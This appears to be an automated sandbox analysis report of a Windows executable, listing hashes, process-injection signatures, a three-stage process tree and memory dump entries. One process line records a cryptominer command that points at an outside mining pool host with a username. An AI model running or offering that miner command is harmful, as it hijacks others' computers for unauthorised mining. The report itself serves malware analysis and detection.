1ed4ed04dd61ec0e4450719a84706fa1bdafdde5da7ed23f59ff4197994302be

General

Target

cd87551b6afe4d27f4ed400dca025b6e.exe
Size

412KB
MD5

cd87551b6afe4d27f4ed400dca025b6e
SHA1

621b416dd0a563a6825fc3ce210490f811656ef9
SHA256

1ed4ed04dd61ec0e4450719a84706fa1bdafdde5da7ed23f59ff4197994302be
SHA512

1f09d12bacff39672280044e8f76ef295e24444203a2626d4581f35a8fd04d5bc44b661454d671b40da06e4bd9774a1406b5cc76d2710b37a95c2bf02b258c2e
SSDEEP

12288:m/1rVkA1WDLe6uXfTTxFL7x0S6LycA8ljVgW:+dVtWDLA7T7y9yB4jH

Score

5^/10

Malware Config

Signatures

Suspicious use of SetThreadContext 2 IoCs

Processes:

cd87551b6afe4d27f4ed400dca025b6e.execd87551b6afe4d27f4ed400dca025b6e.exe

description	pid	process	target process
PID 2844 set thread context of 1708	2844	cd87551b6afe4d27f4ed400dca025b6e.exe	cd87551b6afe4d27f4ed400dca025b6e.exe
PID 1708 set thread context of 2372	1708	cd87551b6afe4d27f4ed400dca025b6e.exe	cd87551b6afe4d27f4ed400dca025b6e.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

cd87551b6afe4d27f4ed400dca025b6e.exe

pid process

2844 cd87551b6afe4d27f4ed400dca025b6e.exe

pid	process
2844	cd87551b6afe4d27f4ed400dca025b6e.exe

Suspicious use of WriteProcessMemory 17 IoCs

Processes:

cd87551b6afe4d27f4ed400dca025b6e.execd87551b6afe4d27f4ed400dca025b6e.exe

C:\Users\Admin\AppData\Local\Temp\cd87551b6afe4d27f4ed400dca025b6e.exe
"C:\Users\Admin\AppData\Local\Temp\cd87551b6afe4d27f4ed400dca025b6e.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2844

C:\Users\Admin\AppData\Local\Temp\cd87551b6afe4d27f4ed400dca025b6e.exe
C:\Users\Admin\AppData\Local\Temp\cd87551b6afe4d27f4ed400dca025b6e.exe
2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1708

C:\Users\Admin\AppData\Local\Temp\cd87551b6afe4d27f4ed400dca025b6e.exe
mine.exe -a 59 -o http://hdzx.aquarium-stakany.org:8332/ -u darkSons_crypt -p pt
3⤵
PID:2372

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1708-30-0x0000000000400000-0x000000000043B000-memory.dmp

Filesize
236KB

Download
memory/1708-4-0x0000000000400000-0x000000000043B000-memory.dmp

Filesize
236KB

Download
memory/1708-59-0x0000000000400000-0x000000000043B000-memory.dmp

Filesize
236KB

Download
memory/1708-57-0x0000000000400000-0x000000000043B000-memory.dmp

Filesize
236KB

Download
memory/1708-55-0x0000000000400000-0x000000000043B000-memory.dmp

Filesize
236KB

Download
memory/1708-53-0x0000000000400000-0x000000000043B000-memory.dmp

Filesize
236KB

Download
memory/1708-51-0x0000000000400000-0x000000000043B000-memory.dmp

Filesize
236KB

Download
memory/1708-49-0x0000000000400000-0x000000000043B000-memory.dmp

Filesize
236KB

Download
memory/1708-47-0x0000000000400000-0x000000000043B000-memory.dmp

Filesize
236KB

Download
memory/1708-45-0x0000000000400000-0x000000000043B000-memory.dmp

Filesize
236KB

Download
memory/1708-43-0x0000000000400000-0x000000000043B000-memory.dmp

Filesize
236KB

Download
memory/1708-41-0x0000000000400000-0x000000000043B000-memory.dmp

Filesize
236KB

Download
memory/1708-39-0x0000000000400000-0x000000000043B000-memory.dmp

Filesize
236KB

Download
memory/1708-37-0x0000000000400000-0x000000000043B000-memory.dmp

Filesize
236KB

Download
memory/1708-35-0x0000000000400000-0x000000000043B000-memory.dmp

Filesize
236KB

Download
memory/1708-2-0x0000000000400000-0x000000000043B000-memory.dmp

Filesize
236KB

Download
memory/1708-29-0x0000000000400000-0x000000000043B000-memory.dmp

Filesize
236KB

Download
memory/2372-33-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/2372-42-0x0000000000400000-0x00000000005368DA-memory.dmp

Filesize
1.2MB

Download
memory/2372-25-0x00000000003F0000-0x00000000003F2000-memory.dmp

Filesize
8KB

Download
memory/2372-28-0x0000000000310000-0x0000000000311000-memory.dmp

Filesize
4KB

Download
memory/2372-27-0x00000000005C0000-0x000000000060B000-memory.dmp

Filesize
300KB

Download
memory/2372-23-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/2372-32-0x0000000000400000-0x00000000005368DA-memory.dmp

Filesize
1.2MB

Download
memory/2372-31-0x0000000000400000-0x00000000005368DA-memory.dmp

Filesize
1.2MB

Download
memory/2372-21-0x0000000000400000-0x00000000005368DA-memory.dmp

Filesize
1.2MB

Download
memory/2372-34-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/2372-19-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/2372-36-0x0000000000400000-0x00000000005368DA-memory.dmp

Filesize
1.2MB

Download
memory/2372-20-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/2372-38-0x0000000000400000-0x00000000005368DA-memory.dmp

Filesize
1.2MB

Download
memory/2372-40-0x0000000000400000-0x00000000005368DA-memory.dmp

Filesize
1.2MB

Download
memory/2372-18-0x0000000000400000-0x00000000005368DA-memory.dmp

Filesize
1.2MB

Download
memory/2372-16-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/2372-26-0x00000000003E0000-0x00000000003E5000-memory.dmp

Filesize
20KB

Download
memory/2372-17-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/2372-44-0x0000000000400000-0x00000000005368DA-memory.dmp

Filesize
1.2MB

Download
memory/2372-13-0x00000000004FD000-0x0000000000537000-memory.dmp

Filesize
232KB

Download
memory/2372-46-0x0000000000400000-0x00000000005368DA-memory.dmp

Filesize
1.2MB

Download
memory/2372-15-0x00000000004FD000-0x0000000000537000-memory.dmp

Filesize
232KB

Download
memory/2372-48-0x0000000000400000-0x00000000005368DA-memory.dmp

Filesize
1.2MB

Download
memory/2372-14-0x0000000000400000-0x00000000005368DA-memory.dmp

Filesize
1.2MB

Download
memory/2372-50-0x0000000000400000-0x00000000005368DA-memory.dmp

Filesize
1.2MB

Download
memory/2372-12-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/2372-52-0x0000000000400000-0x00000000005368DA-memory.dmp

Filesize
1.2MB

Download
memory/2372-10-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2372-54-0x0000000000400000-0x00000000005368DA-memory.dmp

Filesize
1.2MB

Download
memory/2372-7-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/2372-56-0x0000000000400000-0x00000000005368DA-memory.dmp

Filesize
1.2MB

Download
memory/2372-9-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/2372-58-0x0000000000400000-0x00000000005368DA-memory.dmp

Filesize
1.2MB

Download
memory/2372-5-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/2372-60-0x0000000000400000-0x00000000005368DA-memory.dmp

Filesize
1.2MB

Download

description	pid	process	target process
PID 2844 wrote to memory of 1708	2844	cd87551b6afe4d27f4ed400dca025b6e.exe	cd87551b6afe4d27f4ed400dca025b6e.exe
PID 2844 wrote to memory of 1708	2844	cd87551b6afe4d27f4ed400dca025b6e.exe	cd87551b6afe4d27f4ed400dca025b6e.exe
PID 2844 wrote to memory of 1708	2844	cd87551b6afe4d27f4ed400dca025b6e.exe	cd87551b6afe4d27f4ed400dca025b6e.exe
PID 2844 wrote to memory of 1708	2844	cd87551b6afe4d27f4ed400dca025b6e.exe	cd87551b6afe4d27f4ed400dca025b6e.exe
PID 2844 wrote to memory of 1708	2844	cd87551b6afe4d27f4ed400dca025b6e.exe	cd87551b6afe4d27f4ed400dca025b6e.exe
PID 2844 wrote to memory of 1708	2844	cd87551b6afe4d27f4ed400dca025b6e.exe	cd87551b6afe4d27f4ed400dca025b6e.exe
PID 2844 wrote to memory of 1708	2844	cd87551b6afe4d27f4ed400dca025b6e.exe	cd87551b6afe4d27f4ed400dca025b6e.exe
PID 2844 wrote to memory of 1708	2844	cd87551b6afe4d27f4ed400dca025b6e.exe	cd87551b6afe4d27f4ed400dca025b6e.exe
PID 2844 wrote to memory of 1708	2844	cd87551b6afe4d27f4ed400dca025b6e.exe	cd87551b6afe4d27f4ed400dca025b6e.exe
PID 1708 wrote to memory of 2372	1708	cd87551b6afe4d27f4ed400dca025b6e.exe	cd87551b6afe4d27f4ed400dca025b6e.exe
PID 1708 wrote to memory of 2372	1708	cd87551b6afe4d27f4ed400dca025b6e.exe	cd87551b6afe4d27f4ed400dca025b6e.exe
PID 1708 wrote to memory of 2372	1708	cd87551b6afe4d27f4ed400dca025b6e.exe	cd87551b6afe4d27f4ed400dca025b6e.exe
PID 1708 wrote to memory of 2372	1708	cd87551b6afe4d27f4ed400dca025b6e.exe	cd87551b6afe4d27f4ed400dca025b6e.exe
PID 1708 wrote to memory of 2372	1708	cd87551b6afe4d27f4ed400dca025b6e.exe	cd87551b6afe4d27f4ed400dca025b6e.exe
PID 1708 wrote to memory of 2372	1708	cd87551b6afe4d27f4ed400dca025b6e.exe	cd87551b6afe4d27f4ed400dca025b6e.exe
PID 1708 wrote to memory of 2372	1708	cd87551b6afe4d27f4ed400dca025b6e.exe	cd87551b6afe4d27f4ed400dca025b6e.exe
PID 1708 wrote to memory of 2372	1708	cd87551b6afe4d27f4ed400dca025b6e.exe	cd87551b6afe4d27f4ed400dca025b6e.exe

Analysis

Sharing